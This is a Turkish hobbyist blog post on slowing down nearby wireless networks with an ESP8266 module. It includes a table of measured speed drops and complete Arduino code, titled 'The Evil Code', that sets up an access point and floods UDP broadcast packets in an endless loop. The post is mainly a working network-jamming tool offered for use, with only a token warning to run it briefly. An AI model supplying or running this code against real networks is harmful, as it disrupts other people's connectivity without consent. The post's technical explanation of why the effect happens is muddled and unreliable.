ESP8266 ile Etraftaki Ağları Yavaşlatma

Merhaba arkadaşlar. Bu yazımızda etraftaki kablosuz ağları yavaşlatma yönteminden bahsetmek istiyorum.

Nasıl Çalışır?

Eğer bir cihaz aynı anda  hem bağlantı noktası hemde cihaz gibi davranırsa ağı kilitler . Bundan dolayı kablosuz ağların çalışma mantığında sırasıyla bilgi alış-verişi yapılmasıdır.

Bilgiler değişik hızlarla kanallar aracılığıyla akar. Min hız 1Mb max. hız Modüle göre 54Mb dir. Bilgi hızı  bağlantının kalitesine göre değişir. kodun mantığında ise aynı anda hem alıcı hemde verici gibi tüm kanallardan bilgi akışını sağlamaya çalışmasından kaynaklanır.

Alttaki kodda ESP modülü aynı anda 6 kanaldan bilgi alış-verişi yapmaya çalışır. Alttaki tabloya bakarak hızının ne kadar düştüğünü görebilirsiniz. ESPlerden ilki devreye girince hızı yaklaşık %50 oranında düşüyor. ikincisi aktif olduğunda ise hizi yaklaşık %70 oranında düşer .  Tabloda 3 defa test edilmiş ve hızlar çıkarılmıştır.

Normal 1xESP8266 2xESP8266
2.29M/s 39s 1.49M/s 67s 715K/s 142s
2.78M/s 36s 1.59M/s 59s 959K/s 117s
3.09M/s 32s 1.47M/s 61s 958K/s 95s

The Evil Code

Önemli: Alttaki kod sadece bir kaç sn test etme amacıyla paylaşılmıştır.


#include <ESP8266WiFi.h>
#include <WiFiUdp.h>

uint8_t pkt[1000];

void setup() {
  Serial.begin(115200);

  WiFi.mode(WIFI_AP);
  WiFi.softAP("00000000", "00000000", 6, 1);

  memset(pkt, 0, sizeof(pkt));
}

void loop() {
  WiFiUDP udp;
  udp.beginPacketMulticast(WiFi.softAPIP(), 1, IPAddress(255,255,255,255), 1);
  udp.write(pkt, sizeof(pkt));
  udp.endPacket();
}

Kolay gelsin

Boş zamanlarda arduino ile uğraşan kendi halinde bir Öğretmen.

Bir Cevap Yazın

Time limit is exhausted. Please reload CAPTCHA.